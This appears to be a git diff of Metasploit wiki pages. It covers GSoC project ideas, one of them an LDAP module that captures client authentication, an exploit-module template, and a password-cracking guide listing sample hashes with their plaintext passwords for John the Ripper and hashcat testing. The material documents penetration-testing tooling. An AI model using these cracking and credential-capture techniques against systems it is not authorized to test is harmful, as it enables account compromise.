| [metasploit-4.21.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.asc)|
| [metasploit-4.20.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.asc)|
@@ -0,0 +1,61 @@
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
Mentors: @jmartin-r7, @gwillcox-r7
Slack Contacts: @Op3n4M3, @gwillcox-r7 on [Metasploit Slack](https://metasploit.slack.com/)
For any questions about these projects reach out on the Metasploit Slack in the `#gsoc` channel or DM one of the mentors using the Slack contacts listed above. Note that mentors may be busy so please don't expect an immediate response, however we will endeavor to respond as soon as possible. If you'd prefer not to join Slack, you can also email `msfdev [@] metasploit [dot] com` and we will respond to your questions there if email is preferable.
## Enhance Metasploit Framework
### Rest API Pagination
Metasploit provides two API interaction services, a Rest API service and an RPC service. Previous efforts have wrapped and exposed the RPC service as JSON responses available from the Rest API endpoint. This wrapping did not account for possible large responses that may benefit from pagination. A previous contributor attempted to add this functionality for a [limited set of RCP commands](https://github.com/rapid7/metasploit-framework/pull/13439) however review identified that the changes would introduce changes to the documented public API and also introduce inconsistency within the API responses resulting in a fluctuating public API. Modern pagination would be beneficial to increasing user adoption of Rest API services provided it can be implemented consistently and either maintain compatibility of the existing public RPC service or generate a one time migration across all exposed public APIs.
Size: Large
Difficulty: 4/5
### LDAP Capture Capabilities
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
Size: Medium
Difficulty: 3/5
### Enhanced LDAP Query & Collection
When preforming security assessment on a network with centralized login such as LDAP or Active Directory these services are sometimes exposed directly on the network. While Metasploit has capabilities to collect various pieces of information from these services when a user has been able to gain code execution inside a target system by utilizing tooling such as `Sharphound` or by leveraging SMB services via the `secrets_dump` module, these methods are somewhat indirect. A network base capability to query exposed services may have value. An interactive terminal plugin allowing users to connect directly to LDAP or Active Directory providing capabilities similar to the existing `requests` plugin could enable users search for valuable information in these services without the need to compromise a target or interact with a secondary service.
Size: Medium/Large (Depends on proposal)
Difficulty: 3/5
### Improving post-exploit API to be more consistent, work smoothly across session types
The Metasploit post-exploitation API is intended to provide a unified interface between different Meterpreter, shell, PowerShell, mainframe, and other session types. However, there are areas where the implementation is not consistent, and could use improvements:
* Shell sessions do not implement the filesystem API that Meterpreter sessions have
* When a shell session is in a different language, e.g. Windows in French, the post API does not find the expected output. Add localization support for these.
* Simple commands like 'cmd_exec' are fast in Shell sessions but are relatively slow in Meterpreter sessions. Add an API to make Meterpreter run simple commands more easily.
Size: Medium/Large (Depends on proposal)
Difficulty: Varies
### Improve the web vulnerability API
This would follow up on the Arachni plugin PR <https://github.com/rapid7/metasploit-framework/pull/8618> and improve the Metasploit data model to better represent modern web vulnerabilities. This project would require knowledge of data models, types of modern web vulnerabilities, and experience with web app security scanners.
Size: Large
Difficulty: 4/5
### Data Visualization
Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps. The main idea here is to create a visualization tool that helps users understand data that has been gathered into Metasploit during usage in some useful way. Proposals should note where the service will live, how a user will use the service, and how you will provide a maintainable and extendable consumer for the data that is exposed.
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [[Metasploit-Data-Service-Enhancements-(Goliath)|./Metasploit-Data-Service-Enhancements-Goliath]]
Size: Medium/Large (Depends on proposal)
Difficulty 3/5
## Submit your own
If you want to suggest your own idea, please discuss it with us first on [Slack](https://metasploit.com/slack) in the `#gsoc` channel to make sure it is a reasonable amount of work for a summer and that it fits the goals of the project.
@@ -27,9 +27,9 @@ The Metasploit Framework has seven different rankings to indicate how reliable a
## Template
If you have read this far, we think you are pretty impressive because it's a lot to digest. You are probably wondering why we haven't had a single line of code to share in the writeup. Well, as you recall, exploit development is mostly about your reversing skills. If you have all that, we shouldn't be telling you how to write an exploit. What we've done so far is hopefully get your mindset dialed-in correctly about what it means to become a Metasploit exploit developer for the security community; the rest is more about how to use our mixins to build that exploit. Well, there are A LOT of mixins, so it's impossible to go over all of them in a single page, so you must either read the [API documentation](https://rapid7.github.io/metasploit-framework/api/), existing [code examples](https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits), or look for more wiki pages we've written to cover specific mixins.
If you have read this far, we think you are pretty impressive because it's a lot to digest. You are probably wondering why we haven't had a single line of code to share in the writeup. Well, as you recall, exploit development is mostly about your reversing skills. If you have all that, we shouldn't be telling you how to write an exploit. What we've done so far is hopefully get your mindset dialed-in correctly about what it means to become a Metasploit exploit developer for the security community; the rest is more about how to use our mixins to build that exploit. Well, there are A LOT of mixins, so it's impossible to go over all of them in a single page, so you must either read the [API documentation](https://docs.metasploit.com/api/), existing [code examples](https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits), or look for more wiki pages we've written to cover specific mixins.
For example, if you're looking for a writeup about how to interact with an HTTP server, you might be interested in: [How to send an HTTP Request Using HTTPClient](https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient). If you're interested in browser exploit writing, definitely check out: [How to write a browser exploit using BrowserExploitServer](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer), etc.
For example, if you're looking for a writeup about how to interact with an HTTP server, you might be interested in: [[How to send an HTTP Request Using HTTPClient|./How-to-write-a-browser-exploit-using-HttpServer.md]]. If you're interested in browser exploit writing, definitely check out: [[How to write a browser exploit using BrowserExploitServer|./How-to-write-a-browser-exploit-using-BrowserExploitServer.md]], etc.
But of course, to begin, you most likely need a template to work with, and here it is. We'll also explain how to fill out the required fields:
@@ -39,39 +39,39 @@ But of course, to begin, you most likely need a template to work with, and here
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
def initialize(info={})
super(update_info(info,
'Name' => "[Vendor] [Software] [Root Cause] [Vulnerability type]",
'Description' => %q{
Say something that the user might need to know
},
'License' => MSF_LICENSE,
'Author' => [ 'Name' ],
'References' =>
[
def initialize(info = {})
super(
update_info(
info,
'Name' => '[Vendor] [Software] [Root Cause] [Vulnerability type]',
'Description' => %q{
Say something that the user might need to know
},
'License' => MSF_LICENSE,
'Author' => [ 'Name' ],
'References' => [
[ 'URL', '' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'System or software version',
'Platform' => 'win',
'Targets' => [
[
'System or software version',
{
'Ret' => 0x41414141 # This will be available in `target.ret`
}
]
],
'Payload' =>
{
'Payload' => {
'BadChars' => "\x00"
},
'Privileged' => false,
'DisclosureDate' => "",
'DefaultTarget' => 0))
'Privileged' => false,
'DisclosureDate' => '',
'DefaultTarget' => 0
)
)
end
def check
@@ -289,7 +289,7 @@ end
msfconsole output:
```
```msf
msf6 exploit(windows/smb/msf_smb_client_test) > options
Module options (exploit/windows/smb/msf_smb_client_test):
@@ -406,7 +406,7 @@ end
msfconsole output:
```
```msf
msf6 exploit(windows/smb/ruby_smb_client_test) > options
Module options (exploit/windows/smb/ruby_smb_client_test):
@@ -1,6 +1,6 @@
# Intro
This article will discuss the various libraries, dependencies, and functionality built in to metasploit for dealing with password hashes, and cracking them. In general, this will not cover storing credentials in the database, which can be read about [here](https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners#the-scan-block). Metasploit currently support cracking passwords with [John the Ripper](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/analyze) and [hashcat](https://github.com/rapid7/metasploit-framework/pull/11695).
This article will discuss the various libraries, dependencies, and functionality built in to metasploit for dealing with password hashes, and cracking them. In general, this will not cover storing credentials in the database, which can be read about [[here|./Creating-Metasploit-Framework-LoginScanners.md]]. Metasploit currently support cracking passwords with [John the Ripper](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/analyze) and [hashcat](https://github.com/rapid7/metasploit-framework/pull/11695).
# Hashes
@@ -9,7 +9,7 @@ Many modules dump hashes from various software. Anything from the OS: [Windows]
## Hash Identify Example
In this first, simple, example we will simply show loading the library and calling its function.
```
```ruby
require 'metasploit/framework/hashes/identify'
puts identify_hash "$1$28772684$iEwNOgGugqO9.bIz5sk8k/"
# note, bad hashes return an empty string since nil is not accepted when creating credentials in msf.
@@ -17,7 +17,7 @@ puts identify_hash "This_is a Fake Hash"
puts identify_hash "_9G..8147mpcfKT8g0U."
```
In practice, we receive the following output from this:
```
```ruby
msf5 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object
@@ -43,7 +43,7 @@ This section will cover the differences between the two crackers. This is not a
### General Settings
| Description | JtR | hashcat |
|-----------------|------------------|---------------------|
| --------------- | ---------------- | ------------------- |
| session | `--session` | `--session` |
| no logging | `--no-log` | `--logfile-disable` |
| config file | `--config` | (n/a) |
@@ -57,33 +57,33 @@ This section will cover the differences between the two crackers. This is not a
### Hash Setting
| Hash | JtR | [hashcat](https://hashcat.net/wiki/doku.php?id=example_hashes) |
|-----------------------------|-------------------------|--------------------|
| List formats | `john --list=formats` `john --list=format-all-details` | `hashcat -h` |
| | | |
| cram-md5 | hmac-md5 | 10200 |
| des | descrypt | 1500 |
| md5 (crypt is $1$) | md5crypt | 500 |
| sha1 | | 100 |
| bsdi | bsdicrypt | 12400 |
| sha256 | sha256crypt | 7400 |
| sha512 | sha512crypt | 1800 |
| blowfish | bcrypt | 3200 |
| lanman | lm | 3000 |
| NTLM | nt | 1000 |
| mssql (05) | mssql | 131 |
| mssql12 | mssql12 | 1731 |
| mssql (2012/2014) | mssql05 | 132 |
| oracle (10) | oracle | 3100 |
| oracle 11 | oracle11 | 112 |
| oracle 12 | oracle12c | 12300 |
| postgres | dynamic_1034 | 12 |
| mysql | mysql | 200 |
| mysql-sha1 | mysql-sha1 | 300 |
| sha512($p.$s) - vmware ldap | dynamic_82 | 1710 |
| md5 (raw, unicode) | Raw-MD5u | 30 (with an empty salt) |
| NetNTLMv1 | netntlm | 5500 |
| NetNTLMv2 | netntlmv2 | 5600 |
| Hash | JtR | [hashcat](https://hashcat.net/wiki/doku.php?id=example_hashes) |
| --------------------------- | ------------------------------------------------------ | -------------------------------------------------------------- |
| List formats | `john --list=formats` `john --list=format-all-details` | `hashcat -h` |
| | | |
| cram-md5 | hmac-md5 | 10200 |
| des | descrypt | 1500 |
| md5 (crypt is $1$) | md5crypt | 500 |
| sha1 | | 100 |
| bsdi | bsdicrypt | 12400 |
| sha256 | sha256crypt | 7400 |
| sha512 | sha512crypt | 1800 |
| blowfish | bcrypt | 3200 |
| lanman | lm | 3000 |
| NTLM | nt | 1000 |
| mssql (05) | mssql | 131 |
| mssql12 | mssql12 | 1731 |
| mssql (2012/2014) | mssql05 | 132 |
| oracle (10) | oracle | 3100 |
| oracle 11 | oracle11 | 112 |
| oracle 12 | oracle12c | 12300 |
| postgres | dynamic_1034 | 12 |
| mysql | mysql | 200 |
| mysql-sha1 | mysql-sha1 | 300 |
| sha512($p.$s) - vmware ldap | dynamic_82 | 1710 |
| md5 (raw, unicode) | Raw-MD5u | 30 (with an empty salt) |
| NetNTLMv1 | netntlm | 5500 |
| NetNTLMv2 | netntlmv2 | 5600 |
While Metasploit standardizes with the JtR format, the hashcat [library](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb) includes the `jtr_format_to_hashcat_format` function to translate from jtr to hashcat.
@@ -123,14 +123,19 @@ JtR
For testing Hashcat/JtR integration, this is a common list of commands to import example hashes of many different types. When possible the username is separated by an underscore, and anything after it is the password. For example `des_password`, the password for the hash is `password`:
```
# nix
creds add user:des_password hash:rEK1ecacw.7.c jtr:des
creds add user:md5_password hash:$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ jtr:md5
creds add user:bsdi_password hash:_J9..K0AyUubDrfOgO4s jtr:bsdi
creds add user:sha256_password hash:$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5 jtr:sha256,crypt
creds add user:sha512_password hash:$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1 jtr:sha512,crypt
creds add user:blowfish_password hash:$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe jtr:bf
# windows
creds add user:lm_password ntlm:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C jtr:lm
creds add user:nt_password ntlm:AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C jtr:nt
creds add user:u4-netntlm hash:u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c jtr:netntlm
creds add user:admin hash:admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030 jtr:netntlmv2
# sql
creds add user:mssql05_toto hash:0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 jtr:mssql05
creds add user:mssql_foo hash:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 jtr:mssql
creds add user:mssql12_Password1! hash:0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16 jtr:mssql12
@@ -153,29 +158,32 @@ creds add user:vmware_ldap hash:'$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08
This data breaks down to the following table:
| Hash Type | Username | Hash | Password | jtr format | Modules which dump this info | Modules which crack this |
|-----------|----------|------|----------|------------|------------------------------|-------------------------|
| DES | des_password | `rEK1ecacw.7.c` | password | des | | auxiliary/analyze/jtr_aix auxiliary/analyze/jtr_linux |
| MD5 | md5_password | `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/` | password | md5 | | auxiliary/analyze/jtr_linux |
| BSDi | bsdi_password | `_J9..K0AyUubDrfOgO4s` | password | bsdi | | auxiliary/analyze/jtr_linux |
| SHA256 | sha256_password | `$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5` | password | sha256,crypt | | auxiliary/analyze/jtr_linux |
| SHA512 | sha512_password | `$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1` | password | sha512,crypt | | auxiliary/analyze/jtr_linux |
| Blowfish | blowfish_password | `$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe` | password | bf | | auxiliary/analyze/jtr_linux |
| Lanman | lm_password | `E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C` | password | lm | | auxiliary/analyze/jtr_windows_fast |
| NTLM | nt_password | `AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C` | password | nt | | auxiliary/analyze/jtr_windows_fast |
| MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/jtr_mssql_fast |
| MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/jtr_mssql_fast |
| MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/jtr_mssql_fast |
| MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/jtr_mysql_fast |
| MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/jtr_mysql_fast |
| Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/jtr_oracle_fast |
| Oracle | SYSTEM | `9EEDFA0AD26C6D52` | THALES | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/jtr_oracle_fast |
| Oracle 11 | DEMO | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/jtr_oracle_fast |
| Oracle 11 | oracle11_epsilon | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | modules/auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/jtr_oracle_fast |
| Oracle 12 | oracle12_epsilon | `H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B` | epsilon | pbkdf2,oracle12c | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/jtr_oracle_fast |
| Postgres | example | `md5be86a79bf2043622d58d5453c47d4860` | password | raw-md5,postgres | auxiliary/scanner/postgres/postgres_hashdump | auxiliary/analyze/jtr_postgres_fast |
| HMAC-MD5 | hmac_password | `<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9` | password | hmac-md5 | auxiliary/server/capture/smtp | None |
| SHA512($p.$s)/dynamic_82/vmware ldap | vmware_ldap | `$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6` | TestPass123# | dynamic_82 | | None |
| Hash Type | Username | Hash | Password | jtr format | Modules which dump this info | Modules which crack this |
| ------------------------------------ | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | ---------------- | ------------------------------------------------ | --------------------------------------------------------- |
| ----------- | ---------- | ------ | ---------- | ------------ | ------------------------------ | ------------------------- |
| DES | des_password | `rEK1ecacw.7.c` | password | des | | auxiliary/analyze/crack_aix auxiliary/analyze/crack_linux |
| MD5 | md5_password | `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/` | password | md5 | | auxiliary/analyze/crack_linux |
| BSDi | bsdi_password | `_J9..K0AyUubDrfOgO4s` | password | bsdi | | auxiliary/analyze/crack_linux |
| SHA256 | sha256_password | `$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5` | password | sha256,crypt | | auxiliary/analyze/crack_linux |
| SHA512 | sha512_password | `$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1` | password | sha512,crypt | | auxiliary/analyze/crack_linux |
| Blowfish | blowfish_password | `$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe` | password | bf | | auxiliary/analyze/crack_linux |
| Lanman | lm_password | `E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C` | password | lm | | auxiliary/analyze/crack_windows |
| NTLM | nt_password | `AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C` | password | nt | | auxiliary/analyze/crack_windows |
| NetNTLMv1 | u4-netntlm | `u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c` | hashcat | netntlm | | auxiliary/analyze/crack_windows |
| NetNTLMv2 | admin | `admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030` | hashcat | netntlmv2 | | auxiliary/analyze/crack_windows |
| MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
| MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
| MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
| MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
| MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
| Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Oracle | SYSTEM | `9EEDFA0AD26C6D52` | THALES | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Oracle 11 | DEMO | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Oracle 11 | oracle11_epsilon | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | modules/auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Oracle 12 | oracle12_epsilon | `H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B` | epsilon | pbkdf2,oracle12c | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Postgres | example | `md5be86a79bf2043622d58d5453c47d4860` | password | raw-md5,postgres | auxiliary/scanner/postgres/postgres_hashdump | auxiliary/analyze/crack_databases |
| HMAC-MD5 | hmac_password | `<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9` | password | hmac-md5 | auxiliary/server/capture/smtp | None |
| SHA512($p.$s)/dynamic_82/vmware ldap | vmware_ldap | `$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6` | TestPass123# | dynamic_82 | | None | | |
# Adding a New Hash
+2 -2
View File
@@ -1,8 +1,8 @@
Welcome to Metasploit-land. Are you a Metasploit user who wants to get started or get better at hacking stuff (that you have permission to hack)? The quickest way to get started is to [download the Metasploit nightly installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers). This will give you access to both the free, open-source Metasploit Framework and a free trial of Metasploit Pro.
Welcome to Metasploit-land. Are you a Metasploit user who wants to get started or get better at hacking stuff (that you have permission to hack)? The quickest way to get started is to [[download the Metasploit nightly installers|./Nightly-Installers.md]]. This will give you access to both the free, open-source Metasploit Framework and a free trial of Metasploit Pro.
If you're using [Kali Linux](https://kali.org/), Metasploit is already pre-installed. See the [Kali documentation](https://kali.org/docs/tools/starting-metasploit-framework-in-kali/) for how to get started using Metasploit in Kali Linux.
Are you anxious to get your [Metasploit Development Environment](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) set up so you can start [[Landing Pull Requests]] and contributing excellent exploit code? If so, you're in the right place. If you're an exploit developer, you will want to review our [[Guidelines for Accepting Modules and Enhancements]] to find out what we expect when we see pull requests for new Metasploit modules. No idea what you should start working on? Check out the guidelines for [[contributing to Metasploit]], and dive into [[Setting Up a Metasploit Development Environment]].
Are you anxious to get your [[Metasploit Development Environment|./dev/Setting-Up-a-Metasploit-Development-Environment.md]] set up so you can start [[Landing Pull Requests]] and contributing excellent exploit code? If so, you're in the right place. If you're an exploit developer, you will want to review our [[Guidelines for Accepting Modules and Enhancements]] to find out what we expect when we see pull requests for new Metasploit modules. No idea what you should start working on? Check out the guidelines for [[contributing to Metasploit]], and dive into [[Setting Up a Metasploit Development Environment]].
# Getting Started #
@@ -7,7 +7,7 @@ An updated list of the application timeline can be found at https://developers.g
## Important Dates
- GSoC Applications Open: April 4th at 1800 UTC
- GSoC Applications Open: April 4th at 1800 UTC
- GSoC Applications Close: April 19th at 1800 UTC for 2022 GSoC applications. **No late submissions will be accepted, period.**
- Accepted applications announced: May 20th at 1800 UTC
- Programming Starts: June 13th.
@@ -19,16 +19,16 @@ An updated list of the application timeline can be found at https://developers.g
You can find the current list of GSoC ideas at [[GSoC-2022-Project-Ideas]]. Please see the note at the bottom of this page if you are interested in submitting your own idea, as this will require approval.
# Getting started
Students interesting in GSoC, can start by reading Google's official guides.
Students interesting in GSoC, can start by reading Google's official guides.
<https://developers.google.com/open-source/gsoc/help/student-advice>
Review all of the [student guide](https://google.github.io/gsocguides/student/) and carefully read the [proposal writing section](https://google.github.io/gsocguides/student/writing-a-proposal.html).
A listed `idea` is a seed for GSoC students to expand on and propose how to design and implement a solution. You can start by investigating the code base and how existing users interaction with `msfconsole` functionality. Think through scenarios on how a user might want to interact with the proposed idea.
A place to get started with contributing to Metasploit is [here](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md) and expanded on [here](https://github.com/rapid7/metasploit-framework/wiki/Contributing-to-Metasploit#framework-bugs-and-features).
A place to get started with contributing to Metasploit is [here](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md) and expanded on [[here|./Contributing-to-Metasploit.md]].
GSoC mentors tend to look for those items that have a chance of making development and usage easier or improving the overall performance of a certain area, however by starting with understanding the most common contribution patten you can get familiar with the codebase and also the mindset of users. This will help you in creating a proposal with the end user in mind.
GSoC mentors tend to look for those items that have a chance of making development and usage easier or improving the overall performance of a certain area, however by starting with understanding the most common contribution pattern you can get familiar with the codebase and also the mindset of users. This will help you in creating a proposal with the end user in mind.
Once you have started digging feel free ask questions that help you understand the concepts you for the idea would like to propose.
@@ -50,14 +50,14 @@ A brief description of what you would like to work on. See [[GSoC-2022-Project-I
## Skillz
